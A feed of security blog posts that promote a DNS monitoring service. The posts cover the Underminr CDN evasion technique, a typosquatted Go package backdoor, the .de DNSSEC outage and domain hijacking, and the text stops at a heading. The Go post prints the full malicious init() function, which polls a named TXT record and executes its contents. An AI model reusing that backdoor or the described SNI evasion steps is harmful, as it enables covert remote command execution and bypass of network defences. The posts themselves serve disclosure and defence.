DEV Community: Kishore Bhavnanie

Your Clean Domain Could Be Masking an Attack: The Underminr Vulnerability Explained

Kishore Bhavnanie — Tue, 26 May 2026 12:35:12 +0000

Your domain has a good reputation. It resolves to a CDN edge IP that firewalls and protective DNS services trust. Security tools see traffic to your domain and wave it through. But what if an attacker could use that trust, your clean IP, your good name, to mask a connection to a completely different, malicious destination?

That's exactly what the Underminr vulnerability, disclosed by ADAMnetworks in May 2026, demonstrates. It's a technique that exploits how modern CDNs, shared hosting, and DNS interact, allowing adversaries to hide malicious connections behind legitimate domains. The scale is staggering: conservative estimates suggest over 58 million domains are vulnerable, and the expanded mapping puts the number closer to 88 million.

This isn't a theoretical attack. ADAMnetworks has confirmed observed abuse in the wild. The Underminr research specifically references SoftEther VPN as a deployment tool for these techniques, a tool used by Flax Typhoon, a China-aligned APT group that Microsoft has tracked since 2021 targeting government, education, and critical manufacturing organizations, primarily in Taiwan but expanding globally. The combination of CDN shared-edge abuse with nation-state tradecraft makes this a serious concern for any organization with domains on shared infrastructure.

How Underminr Works

To understand the vulnerability, you need to understand how CDNs handle traffic. When millions of websites sit behind a CDN like Cloudflare, Fastly, or Akamai, many of those websites share the same edge IP addresses. When your browser connects to 104.19.223.79, the CDN uses the hostname in the TLS handshake (the SNI field) or the HTTP Host header to figure out which customer's content to serve.

This shared infrastructure creates an exploitable gap. Here's the attack in its simplest form:

A malicious application on a compromised endpoint performs a DNS lookup for whatismyipaddress.com (a trusted, well-known domain)
The protective DNS resolver allows the query and returns the CDN edge IP: 104.19.223.79
The malicious application connects to that same IP but sends a different SNI value: evilsite.ai, which happens to be hosted on the same CDN
The CDN accepts the connection and serves content from evilsite.ai
The attacker now has unrestricted connectivity for C2, data exfiltration, or payload delivery

From the network defender's perspective, all they see is a DNS lookup for a trusted domain followed by a connection to that domain's IP. Everything looks legitimate. But the actual content being served comes from a completely different, potentially malicious domain.

Four Attack Modes

The Underminr research identifies four distinct modes, each designed to defeat different security configurations:

Simple Mode targets environments protected by protective DNS (PDNS) and basic DNS enforcement. The attacker resolves a trusted domain, then connects to the same IP with a different SNI. Since the DNS query was allowed, the connection passes through.

Split Mode defeats environments that add Deep Packet Inspection (DPI) on the first packet of each flow. The attacker first opens a legitimate TLS connection using the trusted domain's SNI (satisfying the DPI check), then opens a second connection to the same IP with the malicious SNI.

ECH Mode exploits Encrypted Client Hello, where the inner SNI is encrypted and invisible to passive network inspection. If the DNS event is allowed, defenders cannot verify that the resolved name and the actual TLS destination match.

Direct-to-IP Mode bypasses DNS entirely. The malicious application connects directly to a known CDN edge IP (which is rarely blocklisted) with the malicious SNI. No DNS query is generated at all, leaving zero DNS telemetry for defenders.

How This Differs from Domain Fronting

Domain fronting, which major CDN providers largely mitigated by 2018, relied on a mismatch between the SNI (showing the trusted domain) and the HTTP Host header (containing the hidden domain). CDNs fixed this by requiring the SNI and Host header to match.

Underminr takes a different approach. The mismatch is between the DNS-resolved destination and the hostname the CDN edge actually routes. In domain fronting, the SNI showed the trusted domain. In Underminr's simple mode, the SNI shows the hidden domain, but the connection goes to an IP that was obtained from a DNS lookup for the trusted domain. The CDN accepts both because they're both legitimate tenants on the same shared edge infrastructure.

Why This Is a DNS Problem

At its core, Underminr is an attack on the trust model that underpins DNS-based security. Protective DNS services work on a simple principle: if a domain is known-good, allow the resolution; if it's known-bad, block it. This works when there's a one-to-one relationship between a DNS answer and the content that gets served.

But in a world where thousands of domains share the same CDN edge IPs, that one-to-one relationship doesn't hold. A DNS answer for trusted-bank.com returns the same IP as attacker-c2.com because both are hosted on the same CDN. The DNS layer can't distinguish between the two at the IP level.

This means that DNS monitoring and DNS record awareness become critical defensive tools. If you don't know what IPs your domains resolve to, which CDN infrastructure you share, and how your DNS records relate to the broader shared-hosting ecosystem, you have a blind spot that attackers are actively exploiting.

The Impact on Domain Owners

Here's the part that catches most organizations off guard: you don't have to be the attacker or the target to be affected. Your domain's reputation is collateral damage.

If your domain resolves to a shared CDN edge IP that also serves a malicious domain, your domain can be used as the "clean" side of an Underminr attack. An attacker resolves your domain to get the trusted IP, then uses that IP to reach their malicious service. In forensic analysis after a breach, your domain name appears in the DNS logs as part of the attack chain. Your reputation is being borrowed without your knowledge or consent.

The Underminr research classifies domains into three categories:

Green: Current checks did not produce a positive Underminr result
Yellow: Domain is vulnerable (shares edge IPs with other tenants) but doesn't appear in known abuse lists
Red: Domain is vulnerable and appears in known abuse lists, meaning it has been actively used as cover for malicious connections

You can check your own domains at underminr.ai.

How DNS Assistant Helps

DNS Assistant provides several layers of visibility that are directly relevant to defending against Underminr-style attacks and understanding your domain's exposure in shared-hosting ecosystems.

A Record and IP Address Monitoring

DNS Assistant continuously tracks the A and AAAA records for all your monitored domains, alerting you whenever an IP address changes. This matters for Underminr because understanding which IPs your domains resolve to, and whether those IPs are shared CDN edge addresses, is the foundation of assessing your exposure. If your CDN provider migrates your domain to a new edge IP, or if an IP change puts you on a shared edge with different tenants, DNS Assistant alerts you to the change so you can assess the implications.

CNAME and CDN Chain Tracking

Many domains reach CDN edge IPs through CNAME chains (e.g., www.yoursite.com CNAME to yoursite.cdn-provider.net, which resolves to the shared edge IP). DNS Assistant resolves the full CNAME chain and tracks the ultimate target. Changes in your CDN routing, whether intentional or not, are surfaced immediately. This is important because Underminr vulnerability is a function of which CDN edge your domain lands on, and CNAME changes can shift that without warning.

Dangling DNS Detection

Dangling DNS records, where a CNAME or A record points to infrastructure you no longer control, are a related attack surface. If you decommission a cloud service but leave the DNS record pointing to it, an attacker can claim that service endpoint and potentially insert themselves into the same shared-edge ecosystem your domain occupies. DNS Assistant checks for dangling records across 22+ cloud provider fingerprints, identifying these risks before they're exploited.

CAA Record Monitoring

In shared-hosting environments, controlling who can issue TLS certificates for your domain is critical. CAA records restrict which Certificate Authorities can issue certificates for your domain, preventing unauthorized certificate issuance that could enable additional attack vectors on shared infrastructure. DNS Assistant monitors CAA records and alerts on changes.

NS Record and Delegation Validation

Your nameserver delegation is the root of your DNS trust chain. If your NS records are compromised, an attacker can redirect your domain's resolution entirely, potentially placing it on attacker-controlled infrastructure. DNS Assistant validates that your NS records match the expected delegation and alerts on any changes.

Comprehensive Change Alerting

Underminr attacks exploit the gap between what DNS says and what actually happens at the network level. DNS Assistant ensures you have complete visibility into everything DNS says about your domains: every record type, every change, every delegation. With alerts delivered via email, Slack, Microsoft Teams, webhooks, or SMS, your team is always aware of the current state of your DNS infrastructure.

What Organizations Should Do

1. Audit Your CDN Exposure

Check your domains at underminr.ai to understand whether they're vulnerable. If your domain shows as Yellow or Red, you have two options: work with your CDN provider to isolate your domain on dedicated infrastructure, or migrate to a hosting environment that isn't vulnerable.

2. Monitor Your DNS Records Continuously

Your A records, CNAME chains, and NS delegations determine which infrastructure your domain resolves to. Changes to any of these, whether authorized or not, can shift your exposure profile. DNS Assistant provides continuous monitoring and instant alerting for all record types.

3. Eliminate Dangling DNS Records

Abandoned CNAME records pointing to decommissioned services are a related attack surface that compounds the Underminr risk. DNS Assistant identifies dangling records across major cloud providers so you can remediate them before they're exploited.

4. Lock Down Certificate Issuance

Deploy CAA records to restrict which Certificate Authorities can issue certificates for your domains. In shared-hosting environments, unauthorized certificate issuance enables additional attack vectors. Monitor your CAA records with DNS Assistant to ensure the restrictions aren't weakened.

5. Understand Your DNS-to-Network Relationship

The Underminr vulnerability exists because DNS answers and network connections are evaluated separately. Defenders need to correlate DNS resolutions with actual connection destinations. The first step is knowing exactly what your DNS records say. DNS Assistant gives you that visibility across your entire domain portfolio.

6. Maintain Tight SPF, DKIM, and DMARC Policies

If your domain's reputation is being used as cover in Underminr-style attacks, the risk extends to email. Threat actors who associate your domain with malicious infrastructure may attempt email spoofing as part of broader campaigns. Strong email authentication policies, monitored by DNS Assistant, ensure that your domain can't be easily spoofed in related attacks.

The Bigger Picture

Underminr represents a fundamental challenge to the way modern internet security works. DNS-based filtering, which is a foundational element of enterprise security, assumes that allowing a DNS resolution means the resulting connection is to the resolved domain. In a world of shared CDN infrastructure, that assumption is broken.

The path forward requires defense in depth: correlating DNS resolutions with actual connections, monitoring DNS records for changes that shift infrastructure exposure, eliminating dangling records that expand the attack surface, and maintaining visibility into the full DNS chain from nameserver delegation through to the final IP address.

DNS Assistant provides the DNS visibility layer that makes this defense-in-depth approach possible. Continuous monitoring of every record type, real-time change detection, dangling DNS identification, WHOIS tracking, and configurable alerting give your team the information they need to understand and manage their DNS exposure.

Sign up at dnsassistant.com and get full visibility into your DNS infrastructure.

When DNS TXT Records Become a Backdoor: Lessons from a Go Supply Chain Attack

Kishore Bhavnanie — Thu, 21 May 2026 15:03:53 +0000

A malicious Go package sat in the open ecosystem for over two years, executing arbitrary commands on every machine that imported it. The backdoor wasn't hidden in encrypted payloads or obfuscated binaries. It was hiding in plain sight, using DNS TXT records as a command and control channel.

The attack, disclosed by Socket's Threat Research Team in May 2026, targeted developers who made a single-character typo when importing a popular Go library. The typosquatted package looked identical to the real one, passed all tests, and behaved exactly as expected for decimal arithmetic. The only difference was a hidden function that silently queried a DNS TXT record every five minutes and executed whatever command it found there.

This incident is a stark reminder that DNS isn't just infrastructure you configure and forget. It's an active attack surface, and TXT records in particular have become a favored channel for sophisticated threat actors who know that most organizations never monitor their DNS traffic.
What Happened: Anatomy of the Attack

The legitimate Go library github.com/shopspring/decimal is one of the most widely used packages in the Go ecosystem, with over 38,000 known importers. It handles arbitrary precision decimal arithmetic, making it essential for financial, billing, and cryptocurrency applications where floating-point rounding errors are unacceptable.

An attacker registered github.com/shopsprint/decimal, swapping a single character in the package name: shopspring became shopsprint. The typosquatted package was first published in November 2017 as a clean copy of the legitimate library. For nearly six years, it mirrored upstream releases faithfully, building a history of benign versions that made it look like a maintained fork.

Then, on August 19, 2023, the attacker published two releases seven minutes apart. The first (v1.3.2) contained only legitimate bugfixes copied from the upstream project. The second (v1.3.3) added the payload: a Go init() function that runs automatically when the package is imported, spawning a background goroutine that queries a DNS TXT record every five minutes and executes whatever command the record contains.

The code was minimal and devastating:

func init(){ go func(){ for { records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com") if err != nil { time.Sleep(5 * time.Minute) continue } for _, txt := range records { cmd := exec.Command(txt) cmd.CombinedOutput() } time.Sleep(5 * time.Minute) } }() }

Every five minutes, the infected process asks the DNS system: "What TXT records exist for this domain?" Whatever text string comes back gets executed as a system command. No HTTP traffic, no suspicious outbound connections, no files written to disk. Just a DNS query that looks indistinguishable from normal network activity.
Why DNS TXT Records?

The choice of DNS TXT as a command and control channel is deliberate and sophisticated. Most organizations focus their security monitoring on HTTP/HTTPS traffic, email, and file system changes. DNS traffic is rarely inspected at the same level, especially on developer workstations and CI/CD runners where DNS queries happen constantly as part of normal operations.

TXT records are particularly effective because they're designed to carry arbitrary text data. They're used legitimately for SPF records, DKIM keys, domain verification, and dozens of other purposes. A TXT query to an unfamiliar domain doesn't trigger the same alarms that an HTTP POST to an unknown IP would.

The attacker hosted their C2 domain on freemyip.com, a free dynamic DNS provider. This gave them the ability to change the TXT record value instantly through a web panel, swapping commands with no registrar friction. The domain's A record pointed to 8.8.8.8 (Google's public DNS) as a decoy, so any tool resolving the hostname would see a legitimate-looking IP address while the actual payload was delivered entirely through TXT records.
The Scale of the Threat

This attack ran undetected for approximately thirty-three months, from August 2023 to May 2026. During that window, any developer, CI pipeline, or production system that imported the typosquatted package received the backdoor. The malicious code:

Executed with the same privileges as the importing process
Produced no output, no log entries, and no error messages
Persisted automatically for the lifetime of the process and reactivated on every restart
Required no filesystem changes, no registry modifications, and no scheduled tasks
Could deliver any command at any time simply by updating a DNS TXT record

A developer workstation running this code inherits the developer's credentials, SSH keys, and access tokens. A CI runner inherits repository tokens and deployment credentials. A production container inherits mounted secrets and service account permissions. The blast radius scales with the privileges of whatever process imported the package.

Even after the GitHub repository and owner account were deleted, the malicious version remained permanently available through Go's module proxy at proxy.golang.org, which caches all published versions indefinitely as part of Go's reproducibility guarantee.
DNS as an Attack Vector: A Growing Trend

This incident isn't isolated. DNS-based command and control has been growing as a technique because it exploits a fundamental blind spot in most security architectures. Organizations invest heavily in firewalls, intrusion detection, endpoint protection, and HTTPS inspection, but DNS traffic flows through largely unmonitored.

The attack patterns are varied:

TXT record C2 (as in this case): Commands delivered via TXT records, executed by malware polling at regular intervals
DNS tunneling: Data exfiltration encoded in DNS queries, where stolen data is sent as subdomain labels in lookups to attacker-controlled nameservers
DNS rebinding: Manipulating DNS responses to bypass same-origin policies and access internal networks
Dangling DNS / subdomain takeover: Exploiting forgotten CNAME records pointing to decommissioned cloud services

What connects all of these is the assumption that DNS is a passive, trustworthy protocol that doesn't need the same scrutiny as HTTP traffic. That assumption is increasingly dangerous.
How DNS Assistant Provides Visibility

DNS Assistant is built to give organizations visibility into exactly the kind of DNS activity that makes attacks like this possible. While DNS Assistant monitors your domains (not your internal network traffic), the platform's capabilities directly address several layers of the DNS threat landscape:
TXT Record Change Detection

DNS Assistant continuously monitors TXT records across all your domains and alerts on any changes. If an attacker modifies or adds TXT records on a domain you own (whether through compromised credentials, registrar access, or DNS provider access), you'll know immediately. This matters because TXT records are increasingly used for critical security functions: SPF authorization, DKIM signing keys, DMARC policies, domain verification tokens, and more. An unauthorized TXT record change can mean anything from email spoofing enablement to the kind of C2 infrastructure used in this Go supply chain attack.
Dangling DNS Detection

One of the ways attackers establish C2 infrastructure is by taking over abandoned subdomains. If your organization has CNAME records pointing to decommissioned cloud services, an attacker can claim that service endpoint and serve whatever content they want under your domain, including TXT records used for C2. DNS Assistant checks for dangling DNS records across 22+ cloud provider fingerprints, identifying subdomains vulnerable to takeover before attackers find them.
WHOIS and Domain Monitoring

The attacker in this case used a free dynamic DNS provider for their C2 domain. DNS Assistant's WHOIS monitoring tracks registration changes on your domains, alerting you to unauthorized transfers, registrar changes, or expiration risks. Maintaining control of your domain registrations is the first line of defense against DNS-based attacks.
SPF, DKIM, and DMARC Monitoring

TXT records serve double duty as email authentication infrastructure. An attacker who gains the ability to modify your TXT records can weaken your SPF policy, add unauthorized DKIM selectors, or downgrade your DMARC enforcement, all of which enable email spoofing campaigns using your domain. DNS Assistant monitors these authentication records and alerts when policies change, ensuring your email security posture isn't silently degraded.
What Organizations Should Do

Treat DNS as a Security-Critical Layer

DNS is not passive infrastructure. It's an active attack surface that carries authentication policies, service routing, and (as this incident shows) can be used as a covert command channel. Monitor your DNS records with the same rigor you apply to firewall rules and access controls. DNS Assistant provides continuous monitoring of all record types across your entire domain portfolio.

Audit Your TXT Records Regularly

TXT records accumulate over time as services are added, trials are started, and verification tokens are created. Many organizations have TXT records they can't explain, left behind by former employees, abandoned projects, or forgotten vendor integrations. Each unexplained TXT record is a potential risk. Use DNS Assistant to establish a baseline of your TXT records and get alerted when anything changes.

Monitor for Dangling DNS

Abandoned subdomains pointing to decommissioned cloud services are one of the most common and least monitored attack surfaces in modern infrastructure. DNS Assistant scans for these across all major cloud providers and flags them for remediation.

Secure Your Domain Registrations

The ability to modify DNS records starts at the registrar level. Ensure all domain registrations use strong authentication, registrar locks are enabled, and WHOIS changes trigger alerts. DNS Assistant's WHOIS monitoring gives you visibility into registration-level changes that could indicate unauthorized access.

Keep Email Authentication Tight

SPF, DKIM, and DMARC records are stored as TXT records. Any unauthorized modification to these records can enable email spoofing at scale. DNS Assistant monitors your email authentication configuration and alerts on policy changes, helping you maintain the integrity of your email security posture.
The Bigger Picture

The Go supply chain attack is a perfect example of how modern threats cross traditional security boundaries. It's a software supply chain attack that uses DNS as its covert channel. It's a code-level compromise that manifests as network-level activity. It's an attack on developers that ultimately threatens production infrastructure.

The organizations best positioned to detect and respond to these threats are the ones with visibility across all layers, not just endpoints, not just network traffic, but also DNS. Because when an attacker can deliver arbitrary commands through a protocol that most security tools ignore, the only defense is to stop ignoring it.

DNS Assistant gives your team that visibility. Continuous monitoring of every DNS record type, real-time change detection, dangling DNS identification, WHOIS tracking, and configurable alerting across email, Slack, Teams, webhooks, and SMS.

How a Routine Key Rollover Took Down Germany's Internet: The .de DNSSEC Outage

Kishore Bhavnanie — Thu, 14 May 2026 15:31:19 +0000

On May 5, 2026, millions of .de domains became unreachable across large portions of the internet. The cause was not a cyberattack, not a cable cut, and not a server failure. It was a routine DNSSEC key rollover that went wrong at DENIC, the registry operator for Germany's .de country-code top-level domain, one of the largest on the planet with 17.9 million registered domains.

The incident lasted several hours and affected every DNSSEC-validating resolver on the planet, including Cloudflare's 1.1.1.1, Google Public DNS, and countless ISP resolvers. Major German services went down: Amazon.de, DHL, Deutsche Bahn's ticketing system, banking apps like N26, eBay, Web.de, mainstream news outlets, and government portals all became unreachable. Thousands of outage reports flooded Downdetector's German site, and users across Germany, Switzerland, Italy, and Sweden reported complete loss of connectivity to .de domains.

As one security researcher put it: "No hacker attack. No provider problem. A single cryptographic key at a single authority in Frankfurt and half of Germany is offline. 17.7 million domains. A single point of failure."

But here is the critical question for every organization operating on a .de domain: how quickly did they know what was happening? For most, the answer was "not fast enough." The ones who found out from customer complaints rather than monitoring alerts paid the highest price in lost revenue and damaged trust.

What Happened: The Technical Breakdown

DNSSEC (Domain Name System Security Extensions) adds cryptographic signatures to DNS records. When a zone is signed with DNSSEC, each set of records includes a digital signature (RRSIG record) that lets resolvers verify the records haven't been tampered with. This creates a chain of trust: the root zone trusts .de, and .de trusts individual domains like example.de.

At approximately 19:30 UTC on May 5, DENIC began publishing incorrect DNSSEC signatures during what was supposed to be a routine Key Signing Key (KSK) rollover. According to DENIC's own post-incident analysis, their DNSSEC signing process uses standard software (Knot) combined with in-house developments and Hardware Security Modules (HSMs). In April 2026, they had deployed the third generation of this signing system, which had been tested in advance and externally audited. However, a faulty piece of code was incorporated into the in-house development that was not fully covered by the test scenarios and went undetected during test runs and parallel operation prior to going live.

The result was immediate and cascading. The non-validatable signatures were generated and distributed, and any DNSSEC-validating resolver that received them was required by the DNSSEC specification to reject them and return SERVFAIL to clients. This wasn't a bug in the resolvers. They were doing exactly what they were designed to do: refuse to serve records with unverifiable signatures.

Why It Affected More Than Just DNSSEC-Signed Domains

Here's a detail that surprised many people: according to ICANN, only 3.6 percent of .de domains are DNSSEC-signed. So why did the outage affect such a huge number of domains?

DENIC's analysis explains this clearly. The validation of DNS responses in a TLD zone depends on signed NSEC3 records, particularly when the absence of a DS record must be "proven" for an unsigned child zone. When the signatures over NSEC3 records became invalid, resolvers classified the delegation information as bogus. This meant that even second-level domains that did not use DNSSEC at all could not be resolved. The broken signatures at the TLD level poisoned the delegation chain for virtually every domain under .de.

The Gradual Cascade

The impact wasn't instantaneous for all domains. DNS records are cached based on their TTL (Time to Live) values. Domains whose cached records hadn't expired yet continued to resolve normally. As those caches expired over the following hours and resolvers went back to DENIC for fresh copies, they received the broken signatures and started failing. The outage spread gradually, like a slow-moving wave across the internet.

As Cloudflare detailed in their incident report, their "serve stale" mechanism (RFC 8767) cushioned the blow by continuing to serve expired cached records rather than returning errors. But this only delayed the inevitable for domains with shorter TTLs.

How It Was Resolved

DENIC's engineers detected the problems at approximately 21:57 UTC and rolled out fixes by 01:15 UTC on May 6. In parallel, resolver operators including Cloudflare applied Negative Trust Anchors (NTAs) for the .de zone, an explicit exception defined in RFC 7646 that tells resolvers to temporarily bypass DNSSEC validation for a specific zone. Cloudflare deployed their mitigation at 22:17 UTC, roughly three hours after the incident began.

As The Register reported, DENIC has since suspended all future key rollovers until the exact technical causes are fully identified, and has committed to sharing further details as their analysis concludes.

Why This Matters Beyond Germany

This incident highlights a structural reality of DNS that many organizations underestimate: a single misconfiguration at the TLD level can take down every domain under that TLD simultaneously, regardless of where those domains are hosted.

It doesn't matter if your servers are running perfectly, your CDN is healthy, your application is bug-free, and your SSL certificates are valid. If the TLD registry breaks DNSSEC, your domain becomes unreachable to a significant portion of the internet. You have zero control over the fix. All you can control is how fast you detect the problem and how you communicate with your users.

And this isn't a new failure mode. Sweden's .se zone experienced a similar DNSSEC incident in 2009. New Zealand's .nz had one in 2017. The pattern is consistent: a registry-level DNSSEC error propagates instantly to every domain under that TLD. Any DNSSEC-signed TLD, including .com, .org, .net, and .io, is subject to the same risk.

Consider also that DENIC operates one of the largest and most professionally managed TLD registries in the world. Their signing system had been externally audited. If it can happen to them during a routine operation, it can happen anywhere.

The Real Cost: Detection Time

In incidents like this, the damage isn't just about the outage itself. It's about the gap between when the problem starts and when your team knows about it.

The incident began at 19:30 UTC. Cloudflare's mitigation was deployed at 22:17 UTC. DENIC's own engineers didn't detect the problem until 21:57 UTC, nearly two and a half hours after the broken signatures started being distributed. During those hours:

Customer-facing websites on .de domains were intermittently or fully unreachable
Email to and from .de domains was failing
Banking apps and payment systems were down
Public transportation apps stopped working
API integrations depending on .de endpoints were throwing errors
Monitoring systems that only check HTTP uptime may not have flagged anything, because the servers themselves were healthy

Most traditional monitoring tools check whether your server responds to HTTP requests. They don't check whether DNS resolution is succeeding for your domain. An uptime monitor pinging your server from inside the same network wouldn't have detected this outage at all, because the server was fine. The DNS layer was broken.

Organizations that had DNS-specific monitoring in place knew within minutes. They could post status page updates, reroute traffic where possible, and communicate proactively with customers. Organizations without it found out hours later, often from confused support tickets asking why the website was "down" even though all internal systems showed green.

How DNS Assistant Detects These Incidents

DNS Assistant is purpose-built for exactly this category of problem. Here's how the platform would have surfaced this incident for any organization monitoring .de domains:

SOA Record Change Detection

The SOA record contains the zone serial number, which increments with every zone change. When DENIC published the broken signatures, the zone was re-signed with new (invalid) RRSIG records, triggering an SOA serial change. DNS Assistant tracks SOA serial numbers and alerts on changes, giving you an early signal that something in the zone has been modified.

DNSSEC Chain Validation

DNS Assistant validates the full DNSSEC chain of trust for monitored domains. When the RRSIG signatures became invalid, DNS Assistant's checks would have detected the broken chain and alerted that DNSSEC validation was failing. This is the most direct detection mechanism: rather than waiting for users to report resolution failures, the platform proactively validates the cryptographic chain and tells you when it breaks.

NS Record and Resolution Monitoring

Even for domains without DNSSEC, DNS Assistant's record monitoring would have detected resolution anomalies. When authoritative nameservers start returning responses that validating resolvers reject, the effective resolution state of your domain changes. DNS Assistant's checks would surface the discrepancy between what the authoritative server returns and what end users actually receive.

Immediate Alerting

The moment any of these checks detect an issue, DNS Assistant sends alerts through your configured notification channels: email, Slack, Microsoft Teams, webhooks, or SMS. There's no waiting for the next scheduled check cycle, no digging through logs, no guessing. Your team gets a clear signal with specific details about what changed and when.

What You Can Do to Prepare

TLD-level incidents are rare, but their blast radius is enormous when they happen. Here are concrete steps to reduce your exposure:

1. Monitor DNS as a Separate Layer

Don't rely on HTTP uptime monitoring alone. It can't detect DNS-level failures. Use a dedicated DNS monitoring service that checks record resolution, DNSSEC chain validity, and nameserver health independently. DNS Assistant provides all of this out of the box.

2. Understand Your TTL Strategy

During the .de outage, domains with longer TTLs were protected longer because cached records continued to be served via "serve stale" mechanisms. If your critical domains use very short TTLs (60 seconds or less), you have almost no buffer during upstream outages. For stable records like NS and MX, consider higher TTLs (3600 seconds or more) to give yourself a longer cache cushion.

3. Diversify Your Domain Strategy

If your entire business runs on a single TLD, a registry-level incident takes everything down at once. Consider maintaining critical services on domains across different TLDs. Your primary site might be on .com while your status page lives on a different TLD entirely.

4. Have a Communication Plan

When DNS breaks at the TLD level, there's nothing you can do to fix it. But you can communicate proactively. Have a status page on a different domain, pre-drafted incident templates, and a clear escalation chain. The organizations that look professional during outages are the ones who prepared for them.

5. Monitor DNSSEC Specifically

If your domains use DNSSEC (and they should), monitor the chain of trust specifically. RRSIG expiration, KSK/ZSK rollover events, and DS record consistency are all things that can break silently. DNS Assistant's DNSSEC validation catches these issues before they cascade.

6. Map Your Domain Resolution Chain

Most organizations know their hosting provider and maybe their registrar. But they don't know which registry operates their TLD, how that registry manages DNSSEC key rotations, which public resolvers their customers use, or how long their DNS records are cached. These aren't obscure technical details. They're the load-bearing walls of your online presence. When one of them fails, your excellent application uptime doesn't save you.

The Bigger Picture

The .de outage is a reminder that DNS is both the most critical and the most overlooked layer of internet infrastructure. It sits beneath everything else. When it works, nobody thinks about it. When it breaks, nothing else matters.

DNSSEC exists to prevent cache poisoning and spoofing attacks. It provides a real and important security guarantee. As Cloudflare noted in their post-mortem: any technology that is misconfigured will risk breaking for users that rely on it, and DNSSEC serves a critical role in ensuring that we can rely on DNS answers without tampering by malicious actors. The lesson isn't that DNSSEC is too risky to deploy. The lesson is that DNS, with or without DNSSEC, requires active monitoring.

Whether it's a broken signature, a hijacked nameserver, an expired domain, or a stale MX record, DNS problems are silent until they're catastrophic. The organizations that invest in DNS visibility are the ones that catch these issues in minutes instead of hours.

Start Monitoring Your DNS

DNS Assistant gives your team continuous visibility into every layer of DNS health: record changes, DNSSEC validation, WHOIS monitoring, and configurable alerting across email, Slack, Teams, webhooks, and SMS. If the .de outage had affected your domains, DNS Assistant would have told you within minutes, not hours.

Sign up at dnsassistant.com and take control of your DNS monitoring before the next incident hits.

Further reading:

Someone could be using your domain right now and you would not know

Kishore Bhavnanie — Tue, 12 May 2026 16:09:25 +0000

Right now, as you read this, someone could be sending emails from your domain. They could be hosting a phishing page on one of your forgotten subdomains. They could be in the process of transferring your domain to a registrar in another country. And you would not know, because you are not watching.

This is not fear mongering. This is what happened to the CDC, MSN, eBay, Marvel, McAfee, VMware, PricewaterhouseCoopers, Cornell University, and thousands of other organizations. Not because they had weak passwords or got tricked by phishing emails. Because they had DNS records pointing to resources they forgot about, and nobody was monitoring those records for changes.

The Attacks That Already Happened to Organizations Like Yours

In February 2024, Guardio Labs uncovered a campaign called SubdoMailing that had hijacked over 8,000 domains and 13,000 subdomains belonging to major brands. The hijacked domains were being used to send five million fraudulent emails per day. The emails passed every spam filter because they were technically authorized by the real domain's DNS records. The brands included MSN, eBay, McAfee, Marvel, CBS, The Economist, Unicef, and Pearson. None of them knew it was happening.

The attack worked because these organizations had old DNS records (CNAME entries and SPF configurations) pointing to services they had cancelled or abandoned. The attackers simply re-registered those abandoned services and inherited the trust of the parent domain. No hacking was required. No passwords were stolen. The DNS records did all the work.

In May 2025, a threat actor called Hazy Hawk used the same technique to take over subdomains belonging to the U.S. Centers for Disease Control and Prevention. Government subdomains, the kind that carry implicit trust with the public, were serving scam content because a cloud resource had been decommissioned but the DNS record pointing to it was never removed.

In April 2026, the DNS records for CoW Swap, a cryptocurrency exchange processing roughly $700 million in weekly volume, were modified to redirect every visitor to a phishing site. The team did not discover the hijacking for 47 minutes. By the time they regained control, users had lost an estimated $500,000 or more in stolen funds.

In the same month, the U.S. Department of Justice disrupted a Russian military intelligence operation that had compromised DNS settings on over 5,000 devices across 120 countries. The attackers were silently redirecting email login pages to credential harvesting servers. The campaign had been running since at least August 2025.

These are not isolated incidents. They are the ones that made headlines. The ones that never make headlines are the small businesses, the startups, the ecommerce stores, and the personal brands whose domains quietly get hijacked, used, or impersonated without anyone noticing for weeks or months.

Why You Think This Will Not Happen to You (and Why That Thinking Is Wrong)

"I am too small to be a target." The SubdoMailing attackers did not hand pick their 8,000 victims. They used automated scanning tools to find any domain with an exploitable DNS record. Attackers do not care how big you are. They care how easy you are. A domain with a dangling CNAME record is equally exploitable whether it belongs to eBay or a five person startup.

"My registrar handles security." Your registrar stores your domain registration. That is all. They do not monitor your DNS records for unauthorized changes. They do not check whether your CNAME records point to abandoned cloud resources. They do not alert you when your SPF record is misconfigured in a way that lets anyone send email as you. Registrar lock prevents unauthorized transfers. It does not prevent DNS record exploitation.

"I would notice if something changed." CoW Swap's engineering team, people whose full time job is managing internet infrastructure, did not notice for 47 minutes. The organizations hit by SubdoMailing did not notice for months. The CDC's compromised subdomains were exploited by Hazy Hawk for weeks before Infoblox discovered them. If these organizations with dedicated security teams did not notice, how would you?

"I do not have subdomains." If you have ever connected a custom domain to Shopify, Squarespace, GitHub Pages, Heroku, AWS, Azure, Netlify, Vercel, Webflow, Mailchimp, or any other cloud service, you probably created a CNAME or A record. If you later cancelled that service but did not delete the DNS record, you have a dangling record. If you have ever set up Google Workspace, Microsoft 365, or any email service, you have SPF, DKIM, and DMARC records in your DNS. If those records reference services you no longer use, they are exploitable.

"I set it up correctly years ago." DNS is not a "set and forget" system. Your records can be changed by anyone who gains access to your registrar account or DNS provider. Your cloud provider can deprecate the service your records point to. Your domain can expire if a credit card on file is declined and auto-renewal fails. Your email authentication records become exploitable the moment you stop using the service they reference. The configuration that was correct two years ago may be a vulnerability today.

What Monitoring Actually Looks Like (It Takes 5 Minutes)

DNS and WHOIS monitoring is not complex to set up. It is not expensive. And it is not something you need a security team to manage. At its core, monitoring does three things.

First, it watches your DNS records (A, AAAA, MX, NS, TXT, CNAME, SOA, CAA) and alerts you the moment any of them change. If someone modifies where your domain points, if your email records are altered, if your nameserver delegation shifts, you know about it within minutes. Not 47 minutes. Not months. Minutes.

Second, it watches your WHOIS registration data: your registrar, your expiration date, your nameservers at the registrar level, and your contact information. If someone initiates an unauthorized transfer, if your domain is about to expire, if your registrant email gets changed (the first step in most domain theft attacks), you get an alert.

Third, it scans your CNAME records to find dangling entries that point to cloud resources that no longer exist. These are the records the SubdoMailing attackers and Hazy Hawk exploited. They are invisible until someone checks, and most organizations never check.

DNS Assistant does all three. You add your domains, configure which record types to watch and which notification channels to use (email, Slack, Microsoft Teams, webhooks, or SMS), and the system handles the rest. It runs checks at configurable intervals, compares every result against the previous baseline, and fires alerts through your chosen channels when something changes.

The dangling DNS scanner checks your subdomains against fingerprints from 22+ cloud providers and flags anything that an attacker could claim. The WHOIS monitor watches your registration data and alerts on expiration date changes, registrar transfers, nameserver modifications, and contact information updates. The TLS security scanner grades your SSL configuration and alerts on certificate issues. The email authentication monitor tracks your SPF, DKIM, and DMARC health across 28 monitorable fields.

Setting it up takes less time than reading this article.

What It Costs Not to Monitor

